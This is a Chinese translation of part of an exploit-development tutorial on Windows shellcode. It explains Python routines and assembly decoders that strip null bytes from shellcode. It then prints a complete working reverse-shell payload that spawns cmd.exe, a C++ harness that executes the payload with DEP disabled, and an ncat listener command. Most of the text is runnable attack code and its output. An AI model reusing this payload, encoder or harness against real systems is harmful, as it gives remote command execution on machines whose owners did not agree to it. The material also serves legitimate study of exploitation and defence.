Exploit开发系列教程-Windows基础&shellcode(2/2)
乌云历史资料归档
原始作者: P3nro5e 原始编号: superkieran-wooyundrops:773 原始发布时间: 2015-09-17 22:21 声明:内容仅用于技术研究和个人使用,版权归 wooyun.org。
def get_fixed_shellcode_single_block(shellcode): ''' Returns a version of shellcode without null bytes or None if the shellcode can't be fixed. If this function fails, use get_fixed_shellcode(). ''' # Finds one non-null byte not present, if any. bytes = set([ord(c) for c in shellcode]) missing_bytes = [b for b in range(1, 256) if b not in bytes] if len(missing_bytes) == 0: return None # shellcode can't be fixed missing_byte = missing_bytes[0] (xor1, xor2) = get_xor_values(len(shellcode)) code = [ 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4 # here: 0xC0, # (FF)C0 = INC EAX 0x5F, # POP EDI 0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len> 0x83, 0xC7, 29, # ADD EDI, shellcode_begin - here 0x33, 0xF6, # XOR ESI, ESI 0xFC, # CLD # loop1: 0x8A, 0x07, # MOV AL, BYTE PTR [EDI] 0x3C, missing_byte, # CMP AL, <missing byte> 0x0F, 0x44, 0xC6, # CMOVE EAX, ESI 0xAA, # STOSB 0xE2, 0xF6 # LOOP loop1 # shellcode_begin: ] return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
逐字节地分析shellcode并了解下这是否为被忽略的值,即从不出现在shellcode中的值。我们来了解下值0x14.如果我们用该值替换在shellcode中的每个0x00,那么shellcode将不再含有null字节,但是会因为被修改了而无法执行。最后是将一些decoder添加到shellcode,在运行时时,在原shellcode被执行前将重置null字节。如下:
CALL $ + 4 ; PUSH "here"; JMP "here"-1 here: (FF)C0 = INC EAX ; not important: just a NOP POP EDI ; EDI = "here" MOV ECX, <xor value 1 for shellcode len> XOR ECX, <xor value 2 for shellcode len> ; ECX = shellcode length ADD EDI, shellcode_begin - here ; EDI = absolute address of original shellcode XOR ESI, ESI ; ESI = 0 CLD ; tells STOSB to go forwards loop1: MOV AL, BYTE PTR [EDI] ; AL = current byte of the shellcode CMP AL, <missing byte> ; is AL the special byte? CMOVE EAX, ESI ; if AL is the special byte, then EAX = 0 STOSB ; overwrite the current byte of the shellcode with AL LOOP loop1 ; DEC ECX; if ECX > 0 then JMP loop1 shellcode_begin:
这里有两个需要重点讨论的细节。首先,该代码不能含有null字节,因为我们需要另一段代码来移除他们 [原始图片缺失:2.png] 正如你看到的,CALL指令不会跳转到here,因为操作码(opcode)
E8 00 00 00 00 # CALL here
包含四个null字节. 因为CALL 指令为 5个字节, 所以CALL here指令等价于CALL $+5.除去null字节的技巧是使用指令 CALL $+4:
E8 FF FF FF FF # CALL $+4
那CALL跳过4个字节 并jmp到CALL本身的最后一个FF。由字节C0紧接着CALL指令,因此在CALL指令执行之后该指令INC EAX对应的操作码FF C0会被执行。注意CALL指令中已压入栈的值仍然是here标记的绝对地址 这是除去null字节的第二种技巧: MOV ECX,XOR ECX, 我们可以只是使用: MOV ECX, 但是这将不会生成null字节。而实际上,shellcode的长度为0x400,我们将会看到该指令 B9 00 04 00 00 MOV ECX, 400h 存在3个null字节。 为了避免存在该问题,我们选择使用一个不会出现在00000400h中的non-null字节。我们选择使用0x01.现在我们计算如下:
<xor value 1 for shellcode len> = 00000400h xor 01010101 = 01010501h <xor value 2 for shellcode len> = 01010101h
在指令中使用<xor value 1 for shellcode len> 和 <xor value 2 for shellcode len>对应的操作码都不存在null字节,并且在执行xor操作后,生成的原始值为400h。 对应的两条指令将会是:
B9 01 05 01 01 MOV ECX, 01010501h 81 F1 01 01 01 01 XOR ECX, 01010101h
通过函数 get_xor_values来计算xor值。 正如以上提到过的,该代码很容易理解:通过逐字节检查shellcode来用特定的值(0x14,在之前的范例中)覆写null字节。
从shellcode中移除null字节(II)
如上的方法会失败,因为我们不能找到从不在shellcode中出现过的字节值。如果失败了,我们需要使用get_fixed_shellcode,但是它更为复杂。 方法是将shellcode分为多个254字节的块。注意每个块必须存在一个 “missing byte”,因为一个字节可以具有255个非0值。我们可以对每个块进行逐个处理来为每个块选择missing byte。但是这样做可能效率不高,因为对于一段具有254*N个字节的shellcode来说,我们需要在shellcode(存在识别missing bytes的decoder)被处理之前或之后存储N个 “missing bytes”。最有效的做法是,为尽可能多个254字节的块使用相同的“missing bytes”。我们从shellcode的起始部分开始对块进行处理,直到处理完最后一个块。最后,我们会有<missing_byte, num_blocks>配对的列表:
[(missing_byte1, num_blocks1), (missing_byte2, num_blocks2), ...]
我已决定将num_blocksX限制为一个单一字节,因此,num_blocksX 的值会在1到255之间。 此处是get_fixed_shellcode部分,该部分将shellcode分为多个块。
def get_fixed_shellcode(shellcode): ''' Returns a version of shellcode without null bytes. This version divides the shellcode into multiple blocks and should be used only if get_fixed_shellcode_single_block() doesn't work with this shellcode. ''' # The format of bytes_blocks is # [missing_byte1, number_of_blocks1, # missing_byte2, number_of_blocks2, ...] # where missing_byteX is the value used to overwrite the null bytes in the # shellcode, while number_of_blocksX is the number of 254-byte blocks where # to use the corresponding missing_byteX. bytes_blocks = [] shellcode_len = len(shellcode) i = 0 while i < shellcode_len: num_blocks = 0 missing_bytes = list(range(1, 256)) # Tries to find as many 254-byte contiguous blocks as possible which misses at # least one non-null value. Note that a single 254-byte block always misses at # least one non-null value. while True: if i >= shellcode_len or num_blocks == 255: bytes_blocks += [missing_bytes[0], num_blocks] break bytes = set([ord(c) for c in shellcode[i:i+254]]) new_missing_bytes = [b for b in missing_bytes if b not in bytes] if len(new_missing_bytes) != 0: # new block added missing_bytes = new_missing_bytes num_blocks += 1 i += 254 else: bytes += [missing_bytes[0], num_blocks] break <snip>
就像之前,我们需要讨论在shellcode起始部分提前准备好的“decoder”。该decoder的代码比之前的更长,但是原理相同。 这里是代码:
code = ([ 0xEB, len(bytes_blocks)] + # JMP SHORT skip_bytes # bytes: bytes_blocks + [ # ... # skip_bytes: 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4 # here: 0xC0, # (FF)C0 = INC EAX 0x5F, # POP EDI 0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX, <xor value 2 for shellcode len> 0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)] 0x83, 0xC7, 0x30, # ADD EDI, shellcode_begin - here # loop1: 0xB0, 0xFE, # MOV AL, 0FEh 0xF6, 0x63, 0x01, # MUL AL, BYTE PTR [EBX+1] 0x0F, 0xB7, 0xD0, # MOVZX EDX, AX 0x33, 0xF6, # XOR ESI, ESI 0xFC, # CLD # loop2: 0x8A, 0x07, # MOV AL, BYTE PTR [EDI] 0x3A, 0x03, # CMP AL, BYTE PTR [EBX] 0x0F, 0x44, 0xC6, # CMOVE EAX, ESI 0xAA, # STOSB 0x49, # DEC ECX 0x74, 0x07, # JE shellcode_begin 0x4A, # DEC EDX 0x75, 0xF2, # JNE loop2 0x43, # INC EBX 0x43, # INC EBX 0xEB, 0xE3 # JMP loop1 # shellcode_begin: ])
bytes_blocks是数组:
[missing_byte1, num_blocks1, missing_byte2, num_blocks2, ...]
我们在之前已经讨论过,但是没有配对。 注意代码始于跳过bytes_blocks的JMP SHORT指令。为了实现该操作,len(bytes_blocks)必须小于或等于0x7F。但是正如你所看到的,len(bytes_blocks) 也出现在另一条指令中:
0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes - here)]
这里要求len(bytes_blocks) 小于或等于0x7F – 5,因此这是决定性的条件。如果条件违规,则:
if len(bytes_blocks) > 0x7f - 5: # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes". return None
进一步审计代码:
JMP SHORT skip_bytes bytes: ... skip_bytes: CALL $ + 4 ; PUSH "here"; JMP "here"-1 here: (FF)C0 = INC EAX ; not important: just a NOP POP EDI ; EDI = absolute address of "here" MOV ECX, <xor value 1 for shellcode len> XOR ECX, <xor value 2 for shellcode len> ; ECX = shellcode length LEA EBX, [EDI + (bytes - here)] ; EBX = absolute address of "bytes" ADD EDI, shellcode_begin - here ; EDI = absolute address of the shellcode loop1: MOV AL, 0FEh ; AL = 254 MUL AL, BYTE PTR [EBX+1] ; AX = 254 * current num_blocksX = num bytes MOVZX EDX, AX ; EDX = num bytes of the current chunk XOR ESI, ESI ; ESI = 0 CLD ; tells STOSB to go forwards loop2: MOV AL, BYTE PTR [EDI] ; AL = current byte of shellcode CMP AL, BYTE PTR [EBX] ; is AL the missing byte for the current chunk? CMOVE EAX, ESI ; if it is, then EAX = 0 STOSB ; replaces the current byte of the shellcode with AL DEC ECX ; ECX -= 1 JE shellcode_begin ; if ECX == 0, then we're done! DEC EDX ; EDX -= 1 JNE loop2 ; if EDX != 0, then we keep working on the current chunk INC EBX ; EBX += 1 (moves to next pair... INC EBX ; EBX += 1 ... missing_bytes, num_blocks) JMP loop1 ; starts working on the next chunk shellcode_begin:
测试脚本
这部分会简明易懂!如果没有任何参数,运行脚本将会显示如下:
Shellcode Extractor by Massimiliano Tomassoli (2015) Usage: sce.py <exe file> <map file>
如果你还记得,我们也已经告诉过VS 2013 的linker生成一个映射文件。只调用具有exe文件及映射文件路径的脚本。此处是从反向shellcode中得到的信息:
Shellcode Extractor by Massimiliano Tomassoli (2015) Extracting shellcode length from "mapfile"... shellcode length: 614 Extracting shellcode from "shellcode.exe" and analyzing relocations... Found 3 reference(s) to 3 string(s) in .rdata Strings: ws2_32.dll cmd.exe 127.0.0.1 Fixing the shellcode... final shellcode length: 715 char shellcode[] = "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01" "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05" "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83" "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8" "\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc" "\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01" "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70" "\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73" "\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8" "\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01" "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05" "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98" "\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84" "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85" "\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02" "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05" "\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24" "\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d" "\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54" "\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66" "\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57" "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24" "\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2" "\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d" "\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52" "\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0" "\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05" "\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33" "\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb" "\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0" "\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14" "\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b" "\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8" "\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78" "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b" "\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc" "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff" "\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89" "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f" "\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48" "\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6" "\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73" "\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65" "\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
重点在于重定位信息,因为可以根据它来检查一切是否OK。例如,我们了解到反向shell使用3个字符串来实现,并且它们是从.rdata节中提取的。我们可以了解到原始shellcode为614个字节,同时也了解到已生成的shellcode(在处理了重定向信息以及null字节之后)为715字节。 现在需要运行已生成的shellcode。此处是完整的源码:
#include <cstring> #include <cassert> // Important: Disable DEP! // (Linker->Advanced->Data Execution Prevention = NO) void main() { char shellcode[] = "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01" "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa" "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05" "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83" "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8" "\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc" "\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01" "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70" "\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73" "\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8" "\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01" "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05" "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98" "\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84" "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85" "\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02" "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05" "\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24" "\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d" "\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54" "\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66" "\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57" "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24" "\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2" "\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d" "\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52" "\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0" "\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05" "\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33" "\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb" "\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0" "\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14" "\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b" "\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8" "\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78" "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b" "\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc" "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff" "\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89" "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f" "\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48" "\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6" "\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73" "\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65" "\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05"; static_assert(sizeof(shellcode) > 4, "Use 'char shellcode[] = ...' (not 'char *shellcode = ...')"); // We copy the shellcode to the heap so that it's in writeable memory and can modify itself. char *ptr = new char[sizeof(shellcode)]; memcpy(ptr, shellcode, sizeof(shellcode)); ((void(*)())ptr)(); }
此时需要关闭DEP(Data Execution Prevention)来让该段代码成功地被执行,通过Project→ Properties 然后在 Configuration Properties下, Linker and Advanced, 将 Data Execution Prevention (DEP) 设为 No (/NXCOMPAT:NO)。因为shellcode将会在堆中被执行,所以开启了DEP会导致shellcode无法被执行。 C++11 (因此需要VS 2013 CTP )标准中介绍了static_assert ,使用如下语句来检查
char shellcode[] = "..."
而不是
char *shellcode = "..."
在第一个案例中,sizeof(shellcode)表示shellcode的有效长度,此时shellcode已经被复制到栈上了。在第二个案例中,sizeof(shellcode) 只是表示指针(i.e. 4)的大小,并且该指针指向在.rdata节中的shellcode。 可以打开cmd shell来测试shellcode:
ncat -lvp 123
接着运行shellcode并观察它是否被成功执行。